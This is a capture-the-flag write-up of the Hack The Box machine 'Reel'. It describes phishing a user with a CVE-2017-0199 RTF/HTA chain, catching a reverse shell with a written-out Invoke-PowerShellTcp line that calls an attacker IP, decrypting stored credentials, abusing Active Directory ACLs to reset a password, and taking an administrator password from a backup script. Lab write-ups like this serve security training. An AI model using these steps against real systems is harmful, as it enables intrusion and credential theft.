Hack The Box - Reel

February 09, 2024

Reel

Reel is a Windows machine running Active Directory with an open FTP server that contains a few documents, one of which reveals an email address (nico@megabank.com) within the meta information. A phishing email can be sent over SMTP that results in a shell as the user nico. Enumeration of the machine leads to the discovery of an XML formatted PowerShell credential object with an encrypted password for the user tom. Using the Import-CliXml cmdlet, the password can be decrypted, allowing for lateral movement. Logging in over SSH provides access to a CSV that can be uploaded into BloodHound, revealing a privilege escalation path due to tom having WriteOwner permission on the user claire, who has WriteDACL on the Backup Admins group. This can be leveraged to find the credentials for the administrator and obtain a system shell.

nmap scan:

# Nmap 7.93 scan initiated Tue Feb  6 05:38:38 2024 as: nmap -sC -sV -Pn -oA nmap/output 10.10.10.77
Nmap scan report for reel (10.10.10.77)
Host is up (0.050s latency).
Not shown: 992 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_05-28-18  11:19PM       <DIR>          documents
| ftp-syst: 
|_  SYST: Windows_NT
22/tcp    open  ssh          OpenSSH 7.6 (protocol 2.0)
| ssh-hostkey: 
|   2048 8220c3bd16cba29c88871d6c1559eded (RSA)
|   256 232bb80a8c1cf44d8d7e5e6458803345 (ECDSA)
|_  256 ac8bde251db7d838389b9c16bff63fed (ED25519)
25/tcp    open  smtp?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, X11Probe: 
|     220 Mail Service ready
|   FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest: 
|     220 Mail Service ready
|     sequence of commands
|     sequence of commands
|   Hello: 
|     220 Mail Service ready
|     EHLO Invalid domain address.
|   Help: 
|     220 Mail Service ready
|     DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
|   SIPOptions: 
|     220 Mail Service ready
|     sequence of commands
|     sequence of commands
|     sequence of commands
|     sequence of commands
|     sequence of commands
|     sequence of commands
|     sequence of commands
|     sequence of commands
|     sequence of commands
|     sequence of commands
|     sequence of commands
|   TerminalServerCookie: 
|     220 Mail Service ready
|_    sequence of commands
| smtp-commands: REEL, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows Server 2012 R2 Standard 9600 microsoft-ds (workgroup: HTB)
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49159/tcp open  msrpc        Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port25-TCP:V=7.93%I=7%D=2/6%Time=65C20C39%P=x86_64-pc-linux-gnu%r(NULL,
SF:18,"220\x20Mail\x20Service\x20ready\r\n")%r(Hello,3A,"220\x20Mail\x20Se
SF:rvice\x20ready\r\n501\x20EHLO\x20Invalid\x20domain\x20address\.\r\n")%r
SF:(Help,54,"220\x20Mail\x20Service\x20ready\r\n211\x20DATA\x20HELO\x20EHL
SF:O\x20MAIL\x20NOOP\x20QUIT\x20RCPT\x20RSET\x20SAML\x20TURN\x20VRFY\r\n")
SF:%r(GenericLines,54,"220\x20Mail\x20Service\x20ready\r\n503\x20Bad\x20se
SF:quence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20commands\r\
SF:n")%r(GetRequest,54,"220\x20Mail\x20Service\x20ready\r\n503\x20Bad\x20s
SF:equence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20commands\r
SF:\n")%r(HTTPOptions,54,"220\x20Mail\x20Service\x20ready\r\n503\x20Bad\x2
SF:0sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20commands
SF:\r\n")%r(RTSPRequest,54,"220\x20Mail\x20Service\x20ready\r\n503\x20Bad\
SF:x20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20comman
SF:ds\r\n")%r(RPCCheck,18,"220\x20Mail\x20Service\x20ready\r\n")%r(DNSVers
SF:ionBindReqTCP,18,"220\x20Mail\x20Service\x20ready\r\n")%r(DNSStatusRequ
SF:estTCP,18,"220\x20Mail\x20Service\x20ready\r\n")%r(SSLSessionReq,18,"22
SF:0\x20Mail\x20Service\x20ready\r\n")%r(TerminalServerCookie,36,"220\x20M
SF:ail\x20Service\x20ready\r\n503\x20Bad\x20sequence\x20of\x20commands\r\n
SF:")%r(TLSSessionReq,18,"220\x20Mail\x20Service\x20ready\r\n")%r(Kerberos
SF:,18,"220\x20Mail\x20Service\x20ready\r\n")%r(SMBProgNeg,18,"220\x20Mail
SF:\x20Service\x20ready\r\n")%r(X11Probe,18,"220\x20Mail\x20Service\x20rea
SF:dy\r\n")%r(FourOhFourRequest,54,"220\x20Mail\x20Service\x20ready\r\n503
SF:\x20Bad\x20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x
SF:20commands\r\n")%r(LPDString,18,"220\x20Mail\x20Service\x20ready\r\n")%
SF:r(LDAPSearchReq,18,"220\x20Mail\x20Service\x20ready\r\n")%r(LDAPBindReq
SF:,18,"220\x20Mail\x20Service\x20ready\r\n")%r(SIPOptions,162,"220\x20Mai
SF:l\x20Service\x20ready\r\n503\x20Bad\x20sequence\x20of\x20commands\r\n50
SF:3\x20Bad\x20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\
SF:x20commands\r\n503\x20Bad\x20sequence\x20of\x20commands\r\n503\x20Bad\x
SF:20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20command
SF:s\r\n503\x20Bad\x20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence
SF:\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20commands\r\n503\x
SF:20Bad\x20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20
SF:commands\r\n");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery: 
|   OS: Windows Server 2012 R2 Standard 9600 (Windows Server 2012 R2 Standard 6.3)
|   OS CPE: cpe:/o:microsoft:windows_server_2012::-
|   Computer name: REEL
|   NetBIOS computer name: REEL\x00
|   Domain name: HTB.LOCAL
|   Forest name: HTB.LOCAL
|   FQDN: REEL.HTB.LOCAL
|_  System time: 2024-02-06T10:41:32+00:00
|_clock-skew: mean: 1s, deviation: 1s, median: 0s
| smb2-time: 
|   date: 2024-02-06T10:41:33
|_  start_date: 2024-02-06T10:37:14
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode: 
|   302: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Feb  6 05:42:11 2024 -- 1 IP address (1 host up) scanned in 213.30 seconds

Notable open ports:

  • 21 (FTP)
  • 22 (SSH)
  • 25 (SMTP)
  • 135, 593 (MSRPC)
  • 139, 445 (SMB)

Active Directory:

  • domain: htb.local
  • hostname: reel

FTP allowed anonymous login:

FTP anonymous

I downloaded AppLocker.docx, readme.txt, and Windows Event Forwarding.docx from the documents directory:

FTP download documents

AppLocker.docx:

AppLocker DOCX

readme.txt:

readme

Windows Event Forwarding.docx was corrupted and couldn't be opened, but I viewed the metadata with exiftool and found an email address for a potential user on the machine:

exiftool Windows Event Forwarding DOCX

To test if the email was valid, I connected to the SMTP server on port 25 using telnet and used the command RCPT TO: <nico@megabank.com>, the 250 OK response confirmed that it was a recognized email address on the server:

telnet SMTP

Based on what was mentioned in the readme.txt document, RTF files were getting converted to a new format after being sent over by email. Since I had a valid email address, I attempted to phish nico@megabank.com to get RCE by exploiting CVE-2017-0199.

To run the phishing attack, I needed three files: an RTF, an HTA, and a ps1. So first, I used this script from GitHub to generate the RTF:

generate RTF

Next, for the HTA, I used Out-HTA.ps1 from nishang. In PowerShell, I specified the URL to the reverse shell payload in the -PayloadURL parameter. The generated HTA was WindDef_WebInstall.hta:

generate HTA

Then, for the reverse shell script, I used Invoke-PowerShellTcp.ps1 from nishang (renamed it to reverse.ps1 since that was the name of the payload I specified in Out-HTA):

Added the following line to the end of reverse.ps1 to invoke the script when downloaded:

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.11 -Port 443

I stood up a Python web server hosting both WindDef_WebInstall.hta and reverse.ps1, then started a Netcat listener before sending the email via sendEmail:

sendEmail

After about 30 seconds, document.rtf was opened and requested WindDef_WebInstall.hta from the web server, once that was delivered, the HTA ran a VBScript that uses a PowerShell command to download and execute reverse.ps1.

Python web server 200 responses for WindDef_WebInstall.hta and reverse.ps1, confirming successful payload delivery:

http server 200

nc caught a shell as nico:

shell as nico

cred.xml within C:\users\nico\desktop was an XML-based representation of a PSCredential object for the user tom with an encrypted password:

cred XML

Import-CliXml can be used to parse the XML and decrypt the password, then the plaintext NetworkCredential object can be viewed:

tom creds

With the credentials, I logged in over SSH as tom:

ssh tom

note.txt within C:\Users\tom\Desktop\AD Audit:

note

C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors contained acls.csv which could be uploaded into BloodHound to map out any privilege escalation paths:

BloodHound Ingestors

To download acls.csv, I started an SMB server with impacket-smbserver:

start smb server

Connected to the share:

net use z

Successful connection from REEL\tom:

smb connection

Copied acls.csv over to the smb share:

download acls CSV

acls CSV

For compatibility with the CSV, I needed to use BloodHound version 1.5.2 (the version around the time that this HTB machine was released) which also required an older version of neo4j within the 3.5.x range to successfully connect to the database, 3.4.5 worked.

After uploading the CSV, I viewed Outbound Object Control for the user tom. First Degree Object Control showed WriteOwner permission on the user claire:

tom First Degree Object Control

Transitive Object Control showed that claire had WriteDACL on the backup_admins group:

tom Transitive Object Control

PowerView.ps1 was already on the machine, so I used Set-DomainObjectOwner, Add-DomainObjectAcl, and Set-DomainUserPassword to reset the password for claire:

PowerView ps1

I logged in over SSH as claire with the new password:

ssh claire

The only member of backup_admins was ranj:

net group Backup_Admins

I added claire to backup_admins:

net group Backup_Admins claire /add

For the changes to take effect, I logged out and logged back in. I then had access to C:\Users\Administrator\Desktop, but didn't have access to root.txt:

root.txt access denied

The Backup Scripts directory contained some PowerShell scripts and text files:

Backup Scripts

BackupScript.ps1 had a hardcoded password for the administrator:

admin password

Using the credentials, I obtained a system shell with psexec.py:

system shell


CTF Writeups | InfoSec Topics

Written by Mike Garrity

Email RSS